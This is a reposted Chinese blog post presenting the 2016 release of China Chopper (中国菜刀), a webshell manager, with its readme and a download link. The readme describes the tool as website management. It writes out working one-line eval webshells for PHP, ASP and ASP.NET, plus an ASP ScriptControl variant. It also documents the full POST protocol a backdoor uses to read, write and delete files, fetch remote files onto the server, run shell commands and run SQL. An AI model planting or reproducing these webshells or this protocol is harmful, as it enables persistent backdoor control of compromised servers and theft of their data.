• 最新中国菜刀caidao-20160620下载和说明

    0x00 中国制造, 黑客之刀

    中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具，此次老兵大牛进行了更新，界面更加优美，功能更加丰富，有图有真相！

    最新菜刀首页

    0x01 验证

    此次更新还自带了官网验证功能，妈妈再也不会担心我的webshell了。

    菜刀验证

    0x02 软件说明

    菜刀 / Caidao @ http://www.maicaidao.com/

    1
    菜刀，他是一款专业的网站管理工具

    一、网站管理模块

    （1）放在网站上的脚本程序分两种

    1.1）“一句话(Eval)”：

    PHP, ASP, ASP.NET 的网站都可以，支持https。下面的代码放在网站目录即可开始管理，比FTP好用多了是不是：

    1
    2
    3
    PHP:    <?php @eval($_POST['caidao']);?>
    ASP:    <%eval request("caidao")%>
    ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>

    1.2）自己开发的脚本程序(Customize)：

    理论上支持所有动态脚本,只要正确与菜刀进行交互即可。调用方法请参阅后面的 “Customize模式菜刀和服务端通信接口”。

    （2）常用功能介绍

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    2.1）文件管理：[特色]缓存下载目录，并支持离线查看缓存目录;
     
    2.2）虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法), 超长命令会分割为5k字节一份，分别提交。
     
    2.3）数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL,ACCESS, 以及支持ADO方式连接的数据库。
     
    2.4) 自写脚本（只有Eval端才支持）：
     
            通过简单编码后提交用户自己的脚本到服务端执行，实现丰富的功能，也可选择发送到浏览器执行。
     
            如果要写自己的CCC脚本，可以参考一下CCC目录下的示例代码, 相信你也可以写出功能丰富的脚本。
     
            可以在官网下载别人的CCC脚本，或分享你的得意之作。

    （3）配置框填写说明

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
      ----------------
      A)  数据库相关：
      ----------------
      PHP：
      <T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL中的一种
      <H>主机地址<H> 主机地址可为机器名或IP地址，如localhost
      <U>数据库用户</U> 连接数据库的用户名，如root
      <P>数据库密码</P> 连接数据库的密码，如123455
      <N>默认库</N> 默认连接的库名
     
      <L>utf8</L> 这一项数据库类型为MYSQL脚本为PHP时可选，不填则为latin1
     
      ASP 和 ASP.NET：
      <T>类型</T> 类型只能填ADO
      <C>ADO配置信息</C>
      ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
          Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;
     
      Customize：
      <T>类型</T> 类型只能填XDB
      <X>与Customize 脚本约定的配置信息</X>
      菜刀自带的Customize.jsp数据库参数填写方法如下(两行)：
      MSSQL:
          <X>
          com.microsoft.sqlserver.jdbc.SQLServerDriver
          jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
          </X>
      MYSQL:
          <X>
          com.mysql.jdbc.Driver
          jdbc:mysql://localhost/test?user=root&password=123456
          </X>
      ORACLE:
          <X>
          oracle.jdbc.driver.OracleDriver
          jdbc:oracle:thin:user/password@127.0.0.1:1521/test
          </X>
     
      -------------
      B) 其它配置：
      -------------
     
      添加额外附加提交的数据，如ASP的新服务端是这样的：
      <%
      Set o = Server.CreateObject("ScriptControl")
      o.language = "vbscript"
      o.addcode(Request("SC"))
      o.run "ff",Server,Response,Request,Application,Session,Error
      %>
      那么，菜刀在配置处填入：
      <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("caidao")):end+function</O>
      然后以密码caidao来连接即可。
     
      默认终端程序路径设置示例：
      <SHELL>/bin/sh</SHELL>
     
      虚拟终端默认命令设置示例：
      <CMD>whoami</CMD>
     
      文件管理默认打开的目录设置示例：
      <CD>c:windows emp</CD>
     
     
    如果你网站开通了HTTP登录验证，可以这样填地址：
     
      http://user:pass@maicaidao.com/admin.asp
      用户名密码中的特殊字符可用URL编码转换。
     
     
      【20160620后的版本多了个文件caidao.conf】
     
       这个文件是必须有的，里面的各节点一个也不能删，不然程序运行会出错！
       默认调用的是caidao.conf，菜单里有个“加载配置文件”的菜单项，可以切换配置文件。
       这个文件必段存为UNICODE编码！
       各节点简单介绍一下：
      <FLAG>  返回的内容分隔符，只限三个字符，用生辟点的字符吧。
      <UA>    自定义User-Agent的值
      <K1>    POST的第一个参数名称，不再是原版本固定的z1
      <K2>    同上
     
      <PHP_BASE>  这是PHP脚本的基本代码，其它的功能代码最终会传到这里面，注意里面的%s %d这样的参数
      <ASP_BASE>  同上
      <ASPX_BASE> 同上
      <PHP_BASE.加密示例> 这个不会用到，如果临时复制出来一个节点，可以取一个不同的节点名字，不要重名了。
          这里示范的是如何把PHP_BASE的内容加密发送。
          相信你会做得更好。
      <GETBASEINFO>
      <SHOWFOLDER>
      <SHOWTXTFILE>
      <SAVETXTFILE>
      <DELETEFILE>
      <DOWNFILE>
      <UPLOADFILE>
      <PASTEFILE>
      <NEWFOLDER>
      <WGET>
      <SHELL>
      <RENAME>
      <SETTIME>
      -----------上面这些，你懂的，就不费篇幅了
      <DB_PHP_MYSQL_DBLIST>       PHP脚本刚连接时调用这里，给出库列表
      <DB_PHP_MYSQL_TABLELIST>    点击库调用，显示数据表
      <DB_PHP_MYSQL_COLUMNLIST>   点击数据表调用，显示数据表字段
      <DB_PHP_MYSQL_EXECUTESQL>   执行SQL，分别处理查询和执行并给出结果。
      ....
      接下来的几样都是PHP连其它库的，大同小异。
      <DB_ASP_ADO_DBLIST>
      <DB_ASP_ADO_TABLELIST>
      <DB_ASP_ADO_COLUMNLIST>
      <DB_ASP_ADO_EXECUTESQL>
      上面是ASP管理数据库的脚本，用ADO来整的。
      <DB_ASPX_ADO_DBLIST>
      <DB_ASPX_ADO_TABLELIST>
      <DB_ASPX_ADO_COLUMNLIST>
      <DB_ASPX_ADO_EXECUTESQL>
      ASPX的，当然还有其它好用的方式，看你的习惯来改了。

    二、记事本

    1
    忽然觉得有个地方记录点东西还是挺方便的。

    三、浏览器

    1
    2
    3
    就是一个专用的网页浏览器，
    Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
    如果有ip.dat库，在状态栏会显示此网站的IP,国家代码。

    新版本去掉了一些不想用的功能。

    四、文件说明：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    caidao.exe  菜刀程序
    db.mdb      菜刀的主数据库
    caidao.conf 配置文件（重要，千万别删除）
    cache.tmp   菜刀的缓存数据库(可删除)
    readme.txt  你现在正在看的(可删除)
    ip.dat      一个IP库，用于IP地址识别(可删除)
    <CCC>       菜刀的自写脚本目录(可删除)
    <Customize> Customize模式的服务端(可删除)
        Customize.aspx  这是一个C#的示例服务端(全功能)
        Customize.jsp   这是一个jsp的示例服务端(全功能)
        Customize.cfm   这是一个cfm的示例服务端(文件管理，虚拟终端)

    五、附Customize模式菜刀和服务端通信接口

    其它语言的服务端代码可按此接口来编写(请参照Customize.jsp/Customize.cfm/Customize.aspx)

    例：菜刀客户端填写的密码为pass，网页编码选的是GB2312(Jsp服务端会用到此参数)
    注：所有参数都以POST提交，
    返回的数据都要以配置文件caidao.conf中的FLAG节点填写的标记分隔
    提交的参数z0.z1.z2...
    注：返回的错误信息开头包含ERROR://
    注： 代表制表符TAB， 代表换行回车， 代表回车
    注：数据库配置信息是一个字符串，服务端脚本可以对此字符串格式进行自定义。

    [得到当前目录的绝对路径]
    提交：pass=A&z0=GB2312
    返回：目录的绝对路径 ，如果是Windows系统后面接着加上驱动器列表
    示例：c:inetpubwwwroot C:D:E:K:
    示例：/var/www/html/

    [目录浏览]
    提交：pass=B&z0=GB2312&z1=目录绝对路径
    返回：先目录后文件,目录名后要加/，文件名后不要加/
    示例：
    目录名/ 时间 大小 属性 目录名/ 时间 大小 属性
    文件名 时间 大小 属性 文件名 时间 大小 属性

    [读取文本文件]
    提交：pass=C&z0=GB2312&z1=文件绝对路径
    返回：文本文件的内容

    [写入文本文件]
    提交：pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容
    返回：成功返回1,不成功返回错误信息

    [删除文件或目录]
    提交：pass=E&z0=GB2312&z1=文件或目录的绝对路径
    返回：成功返回1,不成功返回错误信息

    [下载文件]
    提交：pass=F&z0=GB2312&z1=服务器文件的绝对路径
    返回：要下载文件的内容

    [上传文件]
    提交：pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)
    返回：要下载文件的内容

    [复制文件或目录后粘贴]
    提交：pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径
    返回：成功返回1,不成功返回错误信息

    [文件或目录重命名]
    提交：pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)
    返回：成功返回1,不成功返回错误信息

    [新建目录]
    提交：pass=J&z0=GB2312&z1=新目录名(绝对路径)
    返回：成功返回1,不成功返回错误信息

    [修改文件或目录时间]
    提交：pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式：yyyy-MM-dd HH:mm:ss)
    返回：成功返回1,不成功返回错误信息

    [下载文件到服务器]
    提交：pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径
    返回：成功返回1,不成功返回错误信息

    [执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]
    提交：pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令
    返回：命令执行结果

    [得到数据库基本信息]
    提交：pass=N&z0=GB2312&z1=数据库配置信息
    返回：成功返回数据库(以制表符 分隔)， 不成功返回错误信息

    [获取数据库表名]
    提交：pass=O&z0=GB2312&z1=数据库配置信息 数据库名
    返回：成功返回数据表(以 分隔)， 不成功返回错误信息

    [获取数据表列名]
    提交：pass=P&z0=GB2312&z1=数据库配置信息 数据库名 数据表名
    返回：成功返回数据列(以制表符 分隔)， 不成功返回错误信息

    [执行数据库命令]
    提交：pass=Q&z0=GB2312&z1=数据库配置信息 数据库名&z2=SQL命令
    返回：成功返回数据表内容， 不成功返回错误信息
    注意：返回的第一行为表头，接下去每行分别在列表中显示，列数要求一致。行中的每列后加上 | 标记，每行以标记 为结束

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    菜刀 七岁了 感谢有你一路陪伴成长!
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
                    L408179

    0x03 下载

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    下载地址:[https://github.com/4ido10n/caidao-20160620-www.maicaidao.com][3]
     
    解压密码:www.maicaidao.com
     
    压缩包caidao-20160620-www.maicaidao.com.zip:
    MD5: 75F9C0EA9CE2BA266560FE3364127AE3
    SHA1: 3C87E017E3CF77C06827C587E43F902E6AF7B6B8
     
    caidao.exe：
    MD5:AC86066FFD58779F4C0DB5030574B0CB
    SHA1: 02C1725FA5865A4BE0F4A040BFDBC4B30B628D8C

    转载请注明来自4ido10n's Blog文章《最新中国菜刀caidao-20160620下载和说明》
  • 相关阅读:
    【数据库】不同数据库对于between and的处理 对于取查到的第一个的处理
    【调试】用chrome调试获得时间戳
    【js】js时间格式化
    【js】vue时间格式转化
    【js】ztree
    我的mybatis入门宝典
    mybatis一对多双向映射
    java为什么不支持多继承
    java的八种数据类型
    java中的异常 try catch
  • 原文地址：https://www.cnblogs.com/daban/p/5680507.html
Copyright © 2020-2023  润新知